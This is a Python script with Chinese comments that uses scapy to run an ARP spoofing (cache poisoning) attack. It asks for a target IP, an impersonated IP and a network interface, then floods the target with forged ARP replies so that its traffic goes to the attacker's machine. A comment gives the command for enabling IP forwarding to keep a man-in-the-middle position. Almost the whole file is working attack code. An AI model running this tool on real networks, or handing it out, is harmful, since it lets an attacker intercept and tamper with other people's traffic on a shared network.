#!/usr/bin/env python3
#需要在攻击者linux服务器开启路由功能，实现对被攻击者和网关之间的路由转发服务。google解决
#echo "1" > /proc/sys/net/ipv4/ip_forward
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import os
import signal
import optparse
import sys
def get_my_mac_ip(ifname):#得到本机ifname接口的MAC地址
	ip_mac_dict = {}
	messages = os.popen("ifconfig " + ifname).read()#执行命令必须加空格
	key_words = messages.split()#得到的信息用空格分组，为列表
	mac_flag = False#mac地址是否存在的标记
	ip_flag = False#ip地址是否存在的标记
	mac_num = 0#存储mac在列表中的位置
	ip_num = 0#存储ip在里欸保中的位置
	num = 0
	for x in key_words:
		if re.match("\w\w:\w\w:\w\w:\w\w:\w\w:\w\w", x):
		#if re.match("ether", x):	
			mac_flag = True
			mac_num = num
			num += 1
		#if re.match('addr:\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}', x):
		if x=="inet":
			ip_flag = True
			ip_num = num
			num +=1
		else:
			num += 1
	if mac_flag == True:
		mac_add = key_words[mac_num]
		#print(mac_num,mac_add)
	if ip_flag ==True:
		ip_add = key_words[ip_num+1]
		#print(ip_num,ip_add)
	ip_mac_dict[ip_add] = mac_add 
	return ip_mac_dict

def get_mac(ip_addr,ifname):#得到目标IP的MAC地址
	#op=1表示请求，op=2表示应答
	messages = srp(Ether(dst='FF:FF:FF:FF:FF:FF')/ARP(op=1,hwdst='00:00:00:00:00:00',pdst=ip_addr), timeout=1,iface=ifname,verbose=False)
	data = messages[0].res
	try:
		mac_addr = data[0][1].getlayer(ARP).fields["hwsrc"]#接收包的源MAC为目标IP的MAC地址
		return mac_addr
	except:
		return
def sigint_handler(signum,frame):#定义处理方法
	global g_1_ip,g_2_ip,g_1_mac,g_2_mac,my_mac_ip,my_mac,my_ip
	print("\n执行恢复操作！！！")
	sendp(Ether(src=g_2_mac,dst=g_1_mac)/ARP(op=2,hwsrc=g_2_mac,hwdst=g_1_mac,psrc=g_2_ip,pdst=g_1_ip), iface=ifname,verbose=False)
	print("已经恢复 "+ g_1_ip+"ARP缓存")
def spoof_attack(ip_1,ip_2,ifname):
	global g_1_ip,g_2_ip,g_1_mac,g_2_mac,my_mac_ip,my_mac,my_ip
	g_1_ip = ip_1#被毒化的目标IP为
	g_2_ip = ip_2#被本地仿造的目标IP
	g_1_mac = get_mac(g_1_ip,ifname)
	g_2_mac = get_mac(g_2_ip,ifname)	
	my_mac_ip = get_my_mac_ip(ifname)
	#print(my_mac_ip)
	for k,v in my_mac_ip.items():#得到本机的IP和MAC地址
		my_mac = v
		my_ip = k
	signal.signal(signal.SIGINT,sigint_handler)#当执行ctrl+c的时候执行sigint_handler
	while True:
		sendp(Ether(src=my_mac,dst=g_1_mac)/ARP(op=2,hwsrc=my_mac,hwdst=g_1_mac,psrc=g_2_ip,pdst=g_1_ip), iface=ifname,verbose=False)
	print("向IP{}发送ARP欺骗包，将本地MAC：{}，冒充IP:{}的MAC地址{}".format(g_1_ip,my_mac,g_2_ip,g_2_mac))
if __name__ == "__main__":
	ip_1 = input("被毒化的目标IP为:").strip()
	ip_2 = input("被冒充的目标IP为:").strip()
	ifname = input("通过接口：").strip()
	spoof_attack(ip_1,ip_2,ifname)
#spoof_attack("192.168.1.1","192.168.1.2","eth0")




#print(get_my_mac_ip("eth0"))
